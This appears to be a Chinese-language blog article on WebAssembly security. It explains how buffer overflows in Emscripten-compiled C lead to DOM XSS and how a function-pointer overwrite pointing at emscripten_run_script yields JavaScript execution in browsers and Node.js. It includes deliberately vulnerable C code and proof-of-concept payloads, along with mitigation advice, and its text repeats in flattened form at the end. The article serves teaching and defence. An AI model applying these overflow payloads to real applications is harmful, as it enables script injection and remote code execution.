WebAssembly的安全性问题--Part 2
字数 2108 2025-08-27 12:33:48

WebAssembly安全漏洞分析与利用技术详解

1. WebAssembly安全概述

WebAssembly(WASM)是一种新的、可移植的、体积小、加载快的二进制格式,旨在成为高级编程语言在Web上的编译目标。虽然WebAssembly设计时考虑了安全性,但仍存在一些独特的安全问题。

1.1 WebAssembly安全特性

  • 内存隔离:WASM运行在沙箱环境中,无法直接访问主机系统资源
  • 线性内存模型:使用连续的内存区域,与本地程序的虚拟内存不同
  • 类型安全:严格的类型检查防止类型混淆攻击
  • 控制流完整性:结构化控制流防止任意跳转

1.2 安全边界

  • 与JavaScript互操作:通过特定API与JS交互,成为潜在攻击面
  • Emscripten工具链:编译器工具链引入的安全考虑
  • DOM操作:通过JS间接操作DOM带来的XSS风险

2. WebAssembly特有的攻击面

2.1 缓冲区溢出导致XSS

WebAssembly中的缓冲区溢出与传统环境不同:

extern void bof(char *p1, char *p2){
    char bof1[16];
    char bof2[16];
    strcpy(bof1,p1);
    strcpy(bof2,p2);
    EM_ASM({
        document.getElementById("XXS").innerHTML =(Pointer_stringify($0,$1));
    }, bof1,strlen(bof1));
}

攻击原理

  1. p1是静态字符串,开发者认为安全
  2. p2来自用户输入,存在缓冲区溢出漏洞
  3. 溢出覆盖相邻的bof1缓冲区
  4. 被污染的bof1通过EM_ASM注入到DOM中
  5. 导致跨站脚本攻击(XSS)

2.2 间接函数调用导致XSS

Emscripten提供的JS互操作API可能被滥用:

extern void emscripten_run_script(const char *script);

攻击场景

  1. 攻击者控制函数指针
  2. 覆盖为emscripten_run_script的地址
  3. 控制传入参数为恶意JS代码
  4. 实现任意JS执行

示例攻击代码

#include <stdint.h>
#include <string.h>
#include <emscripten.h>

typedef struct Comms {
    char msg[64];
    uint16_t msg_len;
    void (*out)(const char *);
} Comms;

void trigger(Comms *comms) {
    comms->out(comms->msg);
}

void communicate(const char *msg) {
    printf("%s", msg);
}

int main(void) {
    Comms comms;
    comms.out = &communicate;
    
    char *payload = "alert('XSS')//" // JS payload
                   "                " // padding
                   "\x40\x00"        // msg_len
                   "\x05\x00\x00\x00"; // overwrite out ptr
    
    memcpy(comms.msg, payload, 72);
    trigger(&comms);
    return 0;
}

Payload结构

  1. JS代码alert('XSS')//
  2. 填充至64字节的缓冲区
  3. 2字节的msg_len(0x0040)
  4. 4字节覆盖函数指针(0x00000005指向emscripten_run_script)

2.3 服务器端代码执行

在Node.js环境下,同样的技术可导致更严重的RCE:

char *payload = "console.log('Server side code execution!')//" 
               "                                            "
               "\x40\x00"
               "\x05\x00\x00\x00";

3. Emscripten危险API

3.1 JS执行相关函数

  1. emscripten_run_script(const char *script)
  2. emscripten_run_script_int(const char *script)
  3. emscripten_run_script_string(const char *script)
  4. emscripten_async_run_script(const char *script, int millis)
  5. emscripten_async_load_script(const char *script, em_callback_func onload, em_callback_func onerror)

3.2 内联JS宏

虽然比emscripten_run_script安全,但仍需谨慎:

EM_ASM(alert('Hello, world!'););

预处理后变为:

((void)emscripten_asm_const_int("alert('Hello, world!');"));

JS实现为:

var ASM_CONSTS = [function() { alert('Hello, world!'); }];
function _emscripten_asm_const_i(code) { return ASM_CONSTS[code]();}

4. 默认导入函数分析

Emscripten默认导入的函数包括:

  1. 系统调用相关:

    • ___syscall6: close
    • ___syscall54: ioctl
    • ___syscall140: llseek
    • ___syscall146: writev
  2. 内存管理:

    • enlargeMemory()
    • getTotalMemory()
    • abortOnCannotGrowMemory()
  3. 其他功能:

    • ___lock()
    • ___unlock()
    • _abort()
    • _emscripten_memcpy_big()

5. 安全建议

5.1 对Emscripten开发团队

  1. 处理用户污染输出

    • 在JS引擎层面检测和编码WASM输出
    • 从C/C++引用DOM时发出警告
  2. 堆加固

    • 替换dlmalloc为更安全的分配器(如PartitionAlloc)

5.2 对WASM开发者

  1. 遵循安全编码实践

    • 像对待本地代码一样重视WASM安全问题
    • 避免不安全的C函数(strcpy等)
  2. 避免危险API

    • 尽量避免使用emscripten_run_script
    • 如必须使用,严格验证输入
  3. 编译选项

    • 使用Clang CFI:-fsanitize=cfi
    • 启用优化移除危险功能

5.3 未来研究方向

  1. 堆实现分析

    • 研究堆元数据损坏、UAF、double free等漏洞
  2. 侧信道攻击

    • 研究WASM中的时序攻击可能性
  3. 并发问题

    • 研究竞争条件、TOCTOU等并发漏洞
  4. 控制流完整性

    • 研究WASM特有的CFI绕过技术

6. 总结

WebAssembly虽然提供了内存安全的设计,但通过Emscripten工具链与JavaScript的交互引入了新的攻击面。开发者需要特别注意:

  1. 缓冲区溢出可能导致XSS而非传统的内存破坏
  2. 函数指针覆盖可被用于调用危险的JS互操作函数
  3. 同样的技术在服务器端(Node.js)可导致RCE
  4. 避免使用危险的emscripten_run_script等API
  5. 启用编译时安全选项增强防护

随着WebAssembly的普及,对其安全模型的深入理解和安全编码实践将变得愈发重要。

WebAssembly安全漏洞分析与利用技术详解 1. WebAssembly安全概述 WebAssembly(WASM)是一种新的、可移植的、体积小、加载快的二进制格式,旨在成为高级编程语言在Web上的编译目标。虽然WebAssembly设计时考虑了安全性,但仍存在一些独特的安全问题。 1.1 WebAssembly安全特性 内存隔离 :WASM运行在沙箱环境中,无法直接访问主机系统资源 线性内存模型 :使用连续的内存区域,与本地程序的虚拟内存不同 类型安全 :严格的类型检查防止类型混淆攻击 控制流完整性 :结构化控制流防止任意跳转 1.2 安全边界 与JavaScript互操作 :通过特定API与JS交互,成为潜在攻击面 Emscripten工具链 :编译器工具链引入的安全考虑 DOM操作 :通过JS间接操作DOM带来的XSS风险 2. WebAssembly特有的攻击面 2.1 缓冲区溢出导致XSS WebAssembly中的缓冲区溢出与传统环境不同: 攻击原理 : p1 是静态字符串,开发者认为安全 p2 来自用户输入,存在缓冲区溢出漏洞 溢出覆盖相邻的 bof1 缓冲区 被污染的 bof1 通过 EM_ASM 注入到DOM中 导致跨站脚本攻击(XSS) 2.2 间接函数调用导致XSS Emscripten提供的JS互操作API可能被滥用: 攻击场景 : 攻击者控制函数指针 覆盖为 emscripten_run_script 的地址 控制传入参数为恶意JS代码 实现任意JS执行 示例攻击代码 : Payload结构 : JS代码 alert('XSS')// 填充至64字节的缓冲区 2字节的 msg_len (0x0040) 4字节覆盖函数指针(0x00000005指向 emscripten_run_script ) 2.3 服务器端代码执行 在Node.js环境下,同样的技术可导致更严重的RCE: 3. Emscripten危险API 3.1 JS执行相关函数 emscripten_run_script(const char *script) emscripten_run_script_int(const char *script) emscripten_run_script_string(const char *script) emscripten_async_run_script(const char *script, int millis) emscripten_async_load_script(const char *script, em_callback_func onload, em_callback_func onerror) 3.2 内联JS宏 虽然比 emscripten_run_script 安全,但仍需谨慎: 预处理后变为: JS实现为: 4. 默认导入函数分析 Emscripten默认导入的函数包括: 系统调用相关: ___syscall6 : close ___syscall54 : ioctl ___syscall140 : llseek ___syscall146 : writev 内存管理: enlargeMemory() getTotalMemory() abortOnCannotGrowMemory() 其他功能: ___lock() ___unlock() _abort() _emscripten_memcpy_big() 5. 安全建议 5.1 对Emscripten开发团队 处理用户污染输出 : 在JS引擎层面检测和编码WASM输出 从C/C++引用DOM时发出警告 堆加固 : 替换dlmalloc为更安全的分配器(如PartitionAlloc) 5.2 对WASM开发者 遵循安全编码实践 : 像对待本地代码一样重视WASM安全问题 避免不安全的C函数(strcpy等) 避免危险API : 尽量避免使用 emscripten_run_script 如必须使用,严格验证输入 编译选项 : 使用Clang CFI: -fsanitize=cfi 启用优化移除危险功能 5.3 未来研究方向 堆实现分析 : 研究堆元数据损坏、UAF、double free等漏洞 侧信道攻击 : 研究WASM中的时序攻击可能性 并发问题 : 研究竞争条件、TOCTOU等并发漏洞 控制流完整性 : 研究WASM特有的CFI绕过技术 6. 总结 WebAssembly虽然提供了内存安全的设计,但通过Emscripten工具链与JavaScript的交互引入了新的攻击面。开发者需要特别注意: 缓冲区溢出可能导致XSS而非传统的内存破坏 函数指针覆盖可被用于调用危险的JS互操作函数 同样的技术在服务器端(Node.js)可导致RCE 避免使用危险的 emscripten_run_script 等API 启用编译时安全选项增强防护 随着WebAssembly的普及,对其安全模型的深入理解和安全编码实践将变得愈发重要。